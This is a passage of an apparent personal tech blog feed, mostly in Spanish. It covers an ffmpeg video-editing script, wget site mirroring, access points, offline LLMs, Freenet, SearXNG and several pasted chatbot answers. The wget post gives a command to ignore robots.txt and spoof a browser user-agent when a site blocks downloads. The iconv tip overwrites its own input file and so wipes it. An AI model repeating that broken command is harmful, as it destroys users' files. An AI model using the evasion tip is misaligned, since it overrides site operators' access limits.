</span></span><span style="display:flex;"><span> num<span style="color:#f92672">=</span><span style="color:#e6db74">${</span>mode#pitch<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span> sox <span style="color:#e6db74">"</span>$inwav<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$outwav<span style="color:#e6db74">"</span> pitch <span style="color:#e6db74">"</span>$num<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Unknown mode: </span>$mode<span style="color:#e6db74">"</span>; <span style="color:#66d9ef">return</span> 1;;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Burn subtitles (requires a valid SRT file)</span>
</span></span><span style="display:flex;"><span>burn_subs<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local srt<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -vf <span style="color:#e6db74">"subtitles='</span>$srt<span style="color:#e6db74">'"</span> -c:a copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Pixelate filter: scale down then upscale</span>
</span></span><span style="display:flex;"><span>filter_pixelate<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local w<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -vf <span style="color:#e6db74">"scale=</span><span style="color:#e6db74">${</span>w<span style="color:#e6db74">}</span><span style="color:#e6db74">:-1:flags=neighbor,scale=iw*4:ih*4:flags=neighbor"</span> -c:a copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>filter_grayscale<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -vf format<span style="color:#f92672">=</span>gray -c:a copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Simple glitch effect using tblend and fftfilt-ish</span>
</span></span><span style="display:flex;"><span>filter_glitch<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -filter_complex <span style="color:#e6db74">"[0:v]split[v1][v2];[v1]tblend=all_mode=overlay:all_opacity=0.6,negate[tmp];[v2]hue=s=0[mono];[tmp][mono]blend=all_mode='addition'[v]"</span> -map <span style="color:#e6db74">"[v]"</span> -map 0:a? -c:v libx264 -preset fast -crf <span style="color:#ae81ff">24</span> <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Help / usage</span>
</span></span><span style="display:flex;"><span>usage<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> sed -n <span style="color:#e6db74">'1,140p'</span> <span style="color:#e6db74">"</span>$0<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Command dispatcher</span>
</span></span><span style="display:flex;"><span>cmd<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; shift <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$cmd<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> cut<span style="color:#f92672">)</span> cut_segment <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> trim<span style="color:#f92672">)</span> trim_segment <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> reverse<span style="color:#f92672">)</span> reverse_video <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> speed<span style="color:#f92672">)</span> speed_change <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> add_text<span style="color:#f92672">)</span> add_text <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> add_watermark<span style="color:#f92672">)</span> add_watermark <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> add_music<span style="color:#f92672">)</span> add_music <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> overlay_audio<span style="color:#f92672">)</span> overlay_audio <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> tts_narrate<span style="color:#f92672">)</span> tts_narrate <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> voice_change<span style="color:#f92672">)</span> voice_change <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> burn_subs<span style="color:#f92672">)</span> burn_subs <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> filter_pixelate<span style="color:#f92672">)</span> filter_pixelate <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> filter_grayscale<span style="color:#f92672">)</span> filter_grayscale <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> filter_glitch<span style="color:#f92672">)</span> filter_glitch <span style="color:#e6db74">"</span>$@<span style="color:#e6db74">"</span> ;;
</span></span><span style="display:flex;"><span> help|--help|-h|<span style="color:#e6db74">""</span><span style="color:#f92672">)</span> usage ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span> echo <span style="color:#e6db74">"Unknown command: </span>$cmd<span style="color:#e6db74">"</span>; usage; exit <span style="color:#ae81ff">1</span> ;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span></code></pre></div><p>Done — I created the <strong><code>cli_video_editor.sh</code></strong> script in the canvas (title: <em>Cli Video Editor</em>).</p>
-
Google saco su frase 'Don't be evil' (no seas malvado)
https://imlauera.github.io/dont_be_evil/
Sun, 30 Nov 2025 08:29:46 -0300
https://imlauera.github.io/dont_be_evil/
<p>No seas sorete seria la traduccion argentina</p>
<p>Yes, Google has significantly reduced its use of the “Don’t be evil” motto over time, though it hasn’t been entirely eradicated from all company materials.</p>
<h3 id="key-timeline-and-details">Key Timeline and Details:</h3>
<ul>
<li><strong>Origins (2004)</strong>: The phrase originated in Google’s IPO prospectus as part of a letter from founders Larry Page and Sergey Brin, emphasizing ethical business practices over short-term gains. It was never officially the company’s motto but became an informal guiding principle, appearing in Google’s Code of Conduct.</li>
<li><strong>2015 Restructuring</strong>: When Google restructured under parent company Alphabet, Alphabet adopted a new principle: “Do the right thing.” Google retained “Don’t be evil” in its own Code of Conduct at the time.</li>
<li><strong>2018 Changes</strong>: Google quietly removed most references to the phrase from its Code of Conduct preface and early sections, leaving it only as a brief mention at the very end: “And remember… don’t be evil, and if you see something that you think isn’t right – speak up.” This drew criticism, as the motto had been used to highlight ethical concerns (e.g., employee protests over military contracts).</li>
<li><strong>Post-2018 Status</strong>: As of the latest available updates (around 2020–2021), the phrase remains in that single closing line of Google’s Code of Conduct, but it’s no longer prominently featured on user-facing pages or in broader corporate philosophy. By 2018, it was also absent from Alphabet’s overarching guidelines.</li>
</ul>
<p>The shift reflects growing scrutiny over Google’s practices (e.g., privacy, advertising, and AI ethics), making the absolute imperative of “Don’t be evil” harder to uphold publicly. Critics argue it was always more aspirational than enforceable, and its dilution symbolizes a move toward vaguer principles like “doing the right thing.”</p>
-
Setup on Access Point on ArchLinux.
https://imlauera.github.io/setup_on_access_point/
Thu, 27 Nov 2025 02:32:30 -0300
https://imlauera.github.io/setup_on_access_point/
<h3 id="no-uso-más-esto-funciona-pero-es-lento-quizás-algo-de-mi-configuración-está-mal-levanto-un-hotspot-desde-mi-android-y-me-conecto-desde-la-pc-y-uso-samba">No uso más esto. Funciona pero es lento, quizás algo de mi configuración está mal. Levanto un Hotspot desde mi Android y me conecto desde la PC y uso SAMBA.</h3>
<p>Uso esto para transferir archivos de SAMBA (Bluetooth con OBEX funciona mal).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo pacman --needed --noconfirm -S hostapd dnsmasq
</span></span><span style="display:flex;"><span>sudo systemctl stop NetworkManager
</span></span><span style="display:flex;"><span>iwconfig # (para saber nombre interfaz en mi caso wlp1s0)
</span></span><span style="display:flex;"><span>sudo ifconfig wlp1s0 192.168.0.1/24
</span></span><span style="display:flex;"><span>sudo ifconfig wlp1s0 192.168.0.1 netmask 255.255.255.0
</span></span><span style="display:flex;"><span>route -n
</span></span><span style="display:flex;"><span>sudo route add default gw 192.168.0.1 # gw hace referencia a gateway
</span></span></code></pre></div><p>Necesitás crear los siguientes archivos: <code>dnsmasq.conf</code> y <code>hostapd.conf</code>.</p>
-
Disk quota exceeded fix pip
https://imlauera.github.io/disk_quota_exceeded/
Tue, 25 Nov 2025 06:10:16 -0300
https://imlauera.github.io/disk_quota_exceeded/
<h4 id="error">Error</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/rouralberto/zim-llm.git
</span></span><span style="display:flex;"><span>./setup.sh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pip install -r requirements.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Filesystem Size Used Avail Use% Mounted on
</span></span><span style="display:flex;"><span>/dev/sda1 99G 77G 17G 82% /
</span></span><span style="display:flex;"><span>devtmpfs 1.9G <span style="color:#ae81ff">0</span> 1.9G 0% /dev
</span></span><span style="display:flex;"><span>tmpfs 1.9G <span style="color:#ae81ff">0</span> 1.9G 0% /dev/shm
</span></span><span style="display:flex;"><span>efivarfs 40K 30K 5.4K 85% /sys/firmware/efi/efivars
</span></span><span style="display:flex;"><span>tmpfs 758M 1.2M 757M 1% /run
</span></span><span style="display:flex;"><span>tmpfs 1.0M <span style="color:#ae81ff">0</span> 1.0M 0% /run/credentials/systemd-journald.service
</span></span><span style="display:flex;"><span>tmpfs 1.9G 1.3G 640M 67% /tmp
</span></span><span style="display:flex;"><span>/dev/sda2 1017M 234M 784M 23% /boot
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Downloading torch-2.9.1-cp313-cp313-manylinux_2_28_x86_64.whl <span style="color:#f92672">(</span>899.7 MB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╸━━━━━━ 761.0/899.7 MB 11.7 MB/s eta 0:00:12ERROR: Could not install packages due to an OSError: <span style="color:#f92672">[</span>Errno 122<span style="color:#f92672">]</span> Disk quota exceeded
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╸━━━━━━ 761.8/899.7 MB 11.7 MB/s eta 0:00:12
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">(</span>zim_rag_env<span style="color:#f92672">)</span> esotericwarfare@arch ~/zim-llm <span style="color:#f92672">(</span>master<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>0|1<span style="color:#f92672">]</span>>
</span></span></code></pre></div><p><strong>How can I fix this?</strong></p>
-
Estafa SPAC
https://imlauera.github.io/estafa_spac/
Tue, 25 Nov 2025 01:24:27 -0300
https://imlauera.github.io/estafa_spac/
<p>Una estafa SPAC (Special Purpose Acquisition Company) se refiere a una práctica fraudulenta o engañosa relacionada con las compañías de propósito especial de adquisición. Las SPAC, también conocidas como “vacías” o “cajas vacías”, son empresas que se crean específicamente para recaudar fondos a través de una oferta pública inicial (OPI) con el objetivo de adquirir una empresa privada existente. El propósito es llevar a esa empresa privada al mercado de valores sin tener que seguir el proceso tradicional y más riguroso de una OPI convencional.</p>
-
Como usar wget y WikiTeam3 para descargar un sitio MediaWiki y convertirlos a ZIM para leerlos con Kiwix.
https://imlauera.github.io/descargar_websites_con_wget/
Sun, 23 Nov 2025 04:34:21 -0300
https://imlauera.github.io/descargar_websites_con_wget/
<p>Nunca mires nada online. Siempre descargatelo y si es mejor usa Tor.
Anteriormente a esto me descargué Kiwix, los docs de ArchLinux, Gentoo y la inciclopedia.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://geohot.github.io/blog/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wget --mirror --convert-links --adjust-extension --page-requisites --no-parent --recursive --level<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span> --span-hosts --domains<span style="color:#f92672">=</span>harmful.cat-v.org http://harmful.cat-v.org/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Si el sitio te bloquea:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wget -e robots<span style="color:#f92672">=</span>off --user-agent<span style="color:#f92672">=</span><span style="color:#e6db74">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.37"</span> --mirror --convert-links --adjust-extension --page-requisites --no-parent --recursive --level<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span> --span-hosts --domains<span style="color:#f92672">=</span>harmful.cat-v.org http://harmful.cat-v.org/
</span></span></code></pre></div><h3 id="-qué-hace-cada-opción">🔍 ¿Qué hace cada opción?</h3>
<table>
<thead>
<tr>
<th>Opción</th>
<th>Función</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>--mirror</code></td>
<td>Activa recursividad, respeta tiempos, etc. (equivalente a <code>-r -N -l inf --no-remove-listing</code>)</td>
</tr>
<tr>
<td><code>--convert-links</code></td>
<td>Convierte los enlaces para que funcionen offline</td>
</tr>
<tr>
<td><code>--adjust-extension</code></td>
<td>Asigna extensiones correctas (.html)</td>
</tr>
<tr>
<td><code>--page-requisites</code></td>
<td>Descarga CSS, imágenes y JS necesarios</td>
</tr>
<tr>
<td><code>--no-parent</code></td>
<td>Evita subir a directorios superiores</td>
</tr>
<tr>
<td>URL</td>
<td>Página inicial del sitio a copiar</td>
</tr>
</tbody>
</table>
<hr>
<h1 id="-aumentar-profundidad-descargar-más-páginas">📌 Aumentar profundidad (descargar más páginas)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -r -l <span style="color:#ae81ff">5</span> --convert-links --page-requisites --adjust-extension --no-parent https://incels.wiki/
</span></span></code></pre></div><p><code>-l 5</code> significa “cinco niveles de recursión”. Puedes aumentar, pero es más lento.</p>
-
Internet de Cuba: La Snet (street network)
https://imlauera.github.io/snet_cuba/
Sun, 23 Nov 2025 02:45:35 -0300
https://imlauera.github.io/snet_cuba/
<p><img src="https://radioambulante.org/wp-content/uploads/2023/05/RA_La-red-de-la-calle_Thumbnail-1920x1080-1.jpg" alt=""></p>
<p><a href="https://restofworld.org/2020/the-life-and-death-of-snet-havanas-alternative-internet/">https://restofworld.org/2020/the-life-and-death-of-snet-havanas-alternative-internet/</a></p>
<p>Muy buena pregunta. Acá te dejo un resumen (y también algunos puntos clave) de por qué la red <strong>SNET</strong> (“red de la calle” en La Habana) “murió” o dejó de ser como era, basado en el artículo de Rest of World y otras fuentes:</p>
<hr>
<h2 id="resumen-de-lo-que-fue-snet">Resumen de lo que fue SNET</h2>
<ol>
<li>
<p><strong>Origen y propósito</strong></p>
<ul>
<li>Surgió entre 2010 y 2011 cuando jóvenes en La Habana se organizaban para jugar videojuegos en red local (“LAN party”), porque el Internet real en Cuba era muy caro, lento o difícil de conseguir. (<a href="https://restofworld.org/2020/the-life-and-death-of-snet-havanas-alternative-internet/" title="The life and death of SNET, Havana’s alternative internet - Rest of World">Rest of World</a>)</li>
<li>Al no poder acceder fácilmente a routers y otros equipos, improvisaban con lo que tenían: routers baratos, cables, servidores caseros. (<a href="https://restofworld.org/2020/the-life-and-death-of-snet-havanas-alternative-internet/" title="The life and death of SNET, Havana’s alternative internet - Rest of World">Rest of World</a>)</li>
<li>Se conectaron redes de barrios completos para formar una intranet comunitaria (“intranet gigante”). (<a href="https://www.emol.com/noticias/Tecnologia/2019/08/24/959025/Como-funciona-la-SNet-en-Cuba--La-mayor-red-privada-que-reemplazo-por-mas-de-una-decada-a-internet-en-la-isla.html?utm_source=chatgpt.com" title="Cómo funciona la SNet en Cuba: La mayor red privada que reemplazó por más de una década a internet en la isla">Emol</a>)</li>
</ul>
</li>
<li>
<p><strong>Qué ofrecía SNET</strong></p>
-
Ejecutar un LLM con archivos Kiwix offline gratis sin ChatGPT.
https://imlauera.github.io/kiwix_llm/
Sat, 22 Nov 2025 19:44:13 -0300
https://imlauera.github.io/kiwix_llm/
<h1 id="-what-to-do-after-running-the-script">✅ What to do after running the script</h1>
<ol>
<li>Put your <code>.zim</code> files somewhere, for example:</li>
</ol>
<pre tabindex="0"><code>~/zimfiles/
</code></pre><p>Or set:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export KIWIX_HOME<span style="color:#f92672">=</span>~/zimfiles
</span></span></code></pre></div><ol start="2">
<li>Run a query:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>llm -m llama3.2 --tool kiwix_search_and_collect <span style="color:#e6db74">"How do I install Gentoo?"</span>
</span></span></code></pre></div><p>The LLM will:</p>
<ul>
<li>Search inside your ZIM file</li>
<li>Extract relevant article content</li>
<li>Use <strong>Llama 3.2 locally</strong> to answer</li>
</ul>
<p>No API keys needed.
No LangChain.
No internet.</p>
<p>Completely <strong>offline</strong>.</p>
<hr>
<h1 id="-want-an-even-better-version">🔥 Want an even better version?</h1>
<p>I can also generate:</p>
-
Transformar texto caracteres rotos
https://imlauera.github.io/transformar_texto_caracteres_rotos/
Thu, 20 Nov 2025 21:51:42 -0300
https://imlauera.github.io/transformar_texto_caracteres_rotos/
<p>Ejemplo: son más ¡s rápidos tecnológicas podés</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>iconv -t UTF-8 la_vio.txt | tee la_vio.txt
</span></span></code></pre></div><p>O</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>iconv -t UTF-8 la_vio.txt > la_vio.txt
</span></span></code></pre></div>
-
Gopher
https://imlauera.github.io/gopher/
Wed, 19 Nov 2025 01:54:54 -0300
https://imlauera.github.io/gopher/
<h2 id="-what-to-do">✅ What to <em>do</em></h2>
<p>If you want a <strong>real Gopher site on a Gopher server for free</strong>:</p>
<ol>
<li>
<p><strong>Sign up for SDF</strong> — that’s your best bet for a no-cost Gopher-friendly host.</p>
</li>
<li>
<p>Once on SDF:</p>
<ul>
<li>Use their shell to upload your directory tree.</li>
<li>Use a Gopher server daemon they support (or just put files in a <code>~/public_gopher/</code> directory if available).</li>
</ul>
</li>
<li>
<p>Use software like <strong>Gophernicus</strong> or <strong>Motsognir</strong> (both open-source) to run your gopher server.</p>
-
Chatgpt: Offline internet?
https://imlauera.github.io/offline_internet/
Tue, 18 Nov 2025 08:17:42 -0300
https://imlauera.github.io/offline_internet/
<p>Primero descargate la Wikipedia de una sociedad menos retrasada (LRS Society) de TastyFish buscalo en wiby.me</p>
<p>Entiendo perfectamente lo que querés. No te voy a decir “instalá Kiwix y listo”.
Si lo que buscás es <strong>independencia REAL</strong>, hablamos de <strong>autonomía tecnológica</strong>, no de “bajar Wikipedia”.</p>
<p>Esto implica <strong>tres niveles</strong>:</p>
<ol>
<li><em>Autonomía de software</em></li>
<li><em>Autonomía de información</em></li>
<li><em>Autonomía de computación (modelos, herramientas, datos)</em></li>
</ol>
<hr>
<h1 id="-0-qué-significa-realmente-independencia-total">🛑 0. Qué significa realmente “independencia total”</h1>
<p>Si querés <strong>no depender de ChatGPT, Google, APIs, internet, servidores, nubes ni compañías externas</strong>, entonces necesitás:</p>
-
Freenet, ZeroNet
https://imlauera.github.io/freenet/
Mon, 17 Nov 2025 05:05:18 -0300
https://imlauera.github.io/freenet/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd Downloads
</span></span><span style="display:flex;"><span>mkdir freenet
</span></span><span style="display:flex;"><span>w3m https://www.hyphanet.org/index.html Download <span style="color:#66d9ef">for</span> Linux
</span></span><span style="display:flex;"><span>java -jar new_installer_offline_1503.jar
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Select folder> Downloads/freenet
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sh run.sh start
</span></span></code></pre></div><p>Si todo funcionó bien,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ss -tanp
</span></span></code></pre></div><p>Deberías ver el puerto :8888 abierto. En mi caso tuve que cambiar cerrar SearXNG que usaba el mismo puerto.</p>
<p>Tenes que configurar 8888 como proxy en falkon.</p>
<p>Ahora prueba ingresar a este sitio:</p>
<ul>
<li><a href="http://127.0.0.1:8888/USK@NiPBeAA-PpA715zb8Jc~Q-ohFbKPt8Mo-YiH~w1D56A,--ZTBvgu7XMdX0QUJGBHp-Hogoh0AQK1p8WoY6IR80Q,AQACAAE/lawiki/5/">FreeNet: A la mierda copyright</a></li>
</ul>
-
Hack para leer texto desde w3m (Readit aloud)
https://imlauera.github.io/readit_aloud/
Mon, 17 Nov 2025 01:28:20 -0300
https://imlauera.github.io/readit_aloud/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>links -dump -width <span style="color:#ae81ff">512</span> $1 | tr <span style="color:#e6db74">"\n\ r"</span> <span style="color:#e6db74">" "</span> | sed <span style="color:#e6db74">"s/^.*, consoomer version//g"</span> | espeak -s <span style="color:#ae81ff">180</span> -p <span style="color:#ae81ff">30</span> &
</span></span><span style="display:flex;"><span><span style="color:#75715e">#links -dump -width 512 $1 | tr "\n\ r" " " | espeak -s 180 -p 30 &</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Español</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#links -dump -width 512 $1 | tr "\n\ r" " " | sed "s/^.*, consoomer version//g" | espeak-ng -v es &</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#links -dump -width 512 $1 | tr "\n\ r" " " | sed "s/^.*, consoomer version//g" | piper-tts --model /usr/share/piper-voices/en/en_US/ryan/high/en_US-ryan-high.onnx --output_raw 2> /dev/null | aplay -f S16_LE -r 22050 &</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># To file</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#links -dump -width 512 $1 | tr "\n\ r" " " | sed "s/^.*, consoomer version//g" | piper-tts --model /usr/share/piper-voices/en/en_US/ryan/high/en_US-ryan-high.onnx --output .</span>
</span></span></code></pre></div>
-
How to Install Searx Search Engine
https://imlauera.github.io/install_searx/
Sat, 15 Nov 2025 17:18:02 -0300
https://imlauera.github.io/install_searx/
<p>Agregá todos los search engine desde settings.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/searxng/searxng.git
</span></span><span style="display:flex;"><span>cd searxng
</span></span><span style="display:flex;"><span>make run <span style="color:#75715e"># (Instalará todas las dependencias dentro de un virtualenv)</span>
</span></span></code></pre></div><p>Fijate si el puerto esta abierto.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ss -tulpn | grep <span style="color:#ae81ff">8888</span>
</span></span></code></pre></div><p>Ahora podes usarlo con tu navegador de consola favorito: <code>w3m, links, lynx, links -g (con soporte framebuffer), etc.</code> o con IceCat (con LibreJS), falkon, angelfish, otter-browser, cualquiera sea el navegador que usas.</p>
<h1 id="configurarlo-como-servicio">Configurarlo como servicio.</h1>
<p>Para hacer que SearXNG se inicie automáticamente al bootear tu sistema Arch Linux, necesitas crear un servicio de systemd. Aquí te muestro cómo hacerlo:</p>
-
La solucion
https://imlauera.github.io/apostar_es_malo/
Fri, 14 Nov 2025 20:55:13 -0300
https://imlauera.github.io/apostar_es_malo/
<p><img src="https://geohot.github.io/blog/assets/images/rich_unproductive.jpg" alt=""></p>
<h2 id="-qué-está-diciendo-realmente-la-imagen-con-el-texto-como-lente">🧠 <strong>Qué está diciendo realmente la imagen (con el texto como lente)</strong></h2>
<p>La imagen <strong>no es solo un esquema económico</strong>, es una <strong>crítica cultural y política profunda</strong> que <strong>rechaza la narrativa simplista de “ricos vs pobres”</strong> y <strong>propone una división más útil y honesta</strong>:</p>
<blockquote>
<p><strong>¿Estás generando valor real o estás parasitando el sistema?</strong></p>
</blockquote>
<hr>
<h3 id="-reinterpretación-de-la-imagen-con-el-texto">🔍 <strong>Reinterpretación de la imagen con el texto</strong></h3>
<table>
<thead>
<tr>
<th>Concepto en imagen</th>
<th>Traducción con texto</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Wrong enemy: “The Rich”</strong></td>
<td>El texto dice: <em>“She goes and works at a prestigious law firm like this is some kind of victory”</em> → <strong>Trabajar en derecho, finanzas, consultoría, etc., no es productivo</strong>, es parte del <em>circlejerk</em>.</td>
</tr>
<tr>
<td><strong>Right enemy: Predators, Cronies, Rent-seekers</strong></td>
<td>El texto dice: <em>“Jail for the cronies and rent-seekers”</em> → <strong>Son los que viven del sistema sin aportar</strong>, generando complejidad artificial, regulaciones, litigios, etc.</td>
</tr>
<tr>
<td><strong>Rich Earners: Entrepreneurs, Protectors</strong></td>
<td>El texto dice: <em>“100 CNC machines… I’ll still crush you”</em> → <strong>El verdadero productivo es el que construye, fabrica, automatiza, compite</strong>.</td>
</tr>
<tr>
<td><strong>“America got 51% attacked”</strong></td>
